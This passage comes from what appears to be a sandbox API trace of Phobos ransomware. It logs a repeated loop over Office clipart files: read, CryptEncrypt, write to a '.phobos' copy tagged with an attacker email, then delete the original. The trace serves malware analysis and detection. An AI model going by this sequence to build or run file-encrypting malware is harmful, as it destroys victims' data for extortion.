Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.671] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0060.671] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0060.671] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0060.671] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0060.672] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc650) returned 1 [0060.672] CryptSetKeyParam (hKey=0x10dc650, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0060.672] ReadFile (in: hFile=0x310, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x1f26, lpOverlapped=0x0) returned 1 [0060.699] CryptEncrypt (in: hKey=0x10dc650, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1f30, dwBufLen=0x1f30 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1f30) returned 1 [0060.699] WriteFile (in: hFile=0x300, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x1f30, lpOverlapped=0x0) returned 1 [0060.699] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc8d0) returned 1 [0060.699] CryptSetKeyParam (hKey=0x10dc8d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0060.700] CryptEncrypt (in: hKey=0x10dc8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0060.700] CryptDestroyKey (hKey=0x10dc8d0) returned 1 [0060.700] WriteFile (in: hFile=0x300, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0060.700] CryptDestroyKey (hKey=0x10dc650) returned 1 [0060.700] CloseHandle (hObject=0x310) returned 1 [0060.700] CloseHandle (hObject=0x300) returned 1 [0060.700] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf")) returned 1 [0060.701] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0060.701] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0060.702] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=2378) returned 1 [0060.702] CloseHandle (hObject=0x300) returned 1 [0060.702] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf")) returned 0x220 [0060.702] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0060.702] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0060.702] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0060.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0060.702] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc9d0) returned 1 [0060.702] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0060.702] ReadFile (in: hFile=0x300, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x94a, lpOverlapped=0x0) returned 1 [0060.738] CryptEncrypt (in: hKey=0x10dc9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x950, dwBufLen=0x950 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x950) returned 1 [0060.738] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x950, lpOverlapped=0x0) returned 1 [0060.739] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcb90) returned 1 [0060.739] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0060.739] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0060.739] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0060.739] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0060.739] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0060.739] CloseHandle (hObject=0x300) returned 1 [0060.739] CloseHandle (hObject=0x310) returned 1 [0060.740] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf")) returned 1 [0060.741] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0060.741] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0060.741] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=1044) returned 1 [0060.741] CloseHandle (hObject=0x310) returned 1 [0060.741] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf")) returned 0x220 [0060.742] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.742] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0060.742] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0060.742] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0060.742] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0060.742] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dcc90) returned 1 [0060.742] CryptSetKeyParam (hKey=0x10dcc90, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0060.742] ReadFile (in: hFile=0x310, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x414, lpOverlapped=0x0) returned 1 [0060.744] CryptEncrypt (in: hKey=0x10dcc90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x420, dwBufLen=0x420 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x420) returned 1 [0060.744] WriteFile (in: hFile=0x300, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x420, lpOverlapped=0x0) returned 1 [0060.744] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc650) returned 1 [0060.744] CryptSetKeyParam (hKey=0x10dc650, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0060.744] CryptEncrypt (in: hKey=0x10dc650, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0060.745] CryptDestroyKey (hKey=0x10dc650) returned 1 [0060.745] WriteFile (in: hFile=0x300, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0060.745] CryptDestroyKey (hKey=0x10dcc90) returned 1 [0060.745] CloseHandle (hObject=0x310) returned 1 [0060.745] CloseHandle (hObject=0x300) returned 1 [0060.745] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf")) returned 1 [0060.746] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0060.746] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0060.747] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=2166) returned 1 [0060.747] CloseHandle (hObject=0x300) returned 1 [0060.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf")) returned 0x220 [0060.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.747] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0060.747] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0060.747] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0060.747] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0060.748] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc8d0) returned 1 [0060.748] CryptSetKeyParam (hKey=0x10dc8d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0060.748] ReadFile (in: hFile=0x300, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x876, lpOverlapped=0x0) returned 1 [0060.779] CryptEncrypt (in: hKey=0x10dc8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x880, dwBufLen=0x880 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x880) returned 1 [0060.779] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x880, lpOverlapped=0x0) returned 1 [0060.780] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcb10) returned 1 [0060.780] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0060.780] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0060.780] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0060.781] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0060.781] CryptDestroyKey (hKey=0x10dc8d0) returned 1 [0060.781] CloseHandle (hObject=0x300) returned 1 [0060.781] CloseHandle (hObject=0x310) returned 1 [0060.782] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf")) returned 1 [0060.783] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0060.783] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0060.783] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=8366) returned 1 [0060.783] CloseHandle (hObject=0x310) returned 1 [0060.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf")) returned 0x220 [0060.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.784] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0060.784] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0060.784] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0060.784] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0060.784] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc910) returned 1 [0060.784] CryptSetKeyParam (hKey=0x10dc910, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0060.784] ReadFile (in: hFile=0x310, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x20ae, lpOverlapped=0x0) returned 1 [0060.790] CryptEncrypt (in: hKey=0x10dc910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x20b0, dwBufLen=0x20b0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x20b0) returned 1 [0060.790] WriteFile (in: hFile=0x300, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x20b0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x20b0, lpOverlapped=0x0) returned 1 [0060.791] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc9d0) returned 1 [0060.791] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0060.791] CryptEncrypt (in: hKey=0x10dc9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0060.791] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0060.791] WriteFile (in: hFile=0x300, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0060.791] CryptDestroyKey (hKey=0x10dc910) returned 1 [0060.791] CloseHandle (hObject=0x310) returned 1 [0060.791] CloseHandle (hObject=0x300) returned 1 [0060.792] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf")) returned 1 [0060.794] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0060.794] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0060.884] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=12788) returned 1 [0060.884] CloseHandle (hObject=0x2fc) returned 1 [0060.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf")) returned 0x220 [0060.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.891] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0060.891] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0060.891] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0060.891] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0060.893] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dca50) returned 1 [0060.893] CryptSetKeyParam (hKey=0x10dca50, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0060.893] ReadFile (in: hFile=0x328, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x31f4, lpOverlapped=0x0) returned 1 [0060.962] CryptEncrypt (in: hKey=0x10dca50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x3200, dwBufLen=0x3200 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x3200) returned 1 [0060.962] WriteFile (in: hFile=0x330, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x3200, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x3200, lpOverlapped=0x0) returned 1 [0060.963] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcb90) returned 1 [0060.963] 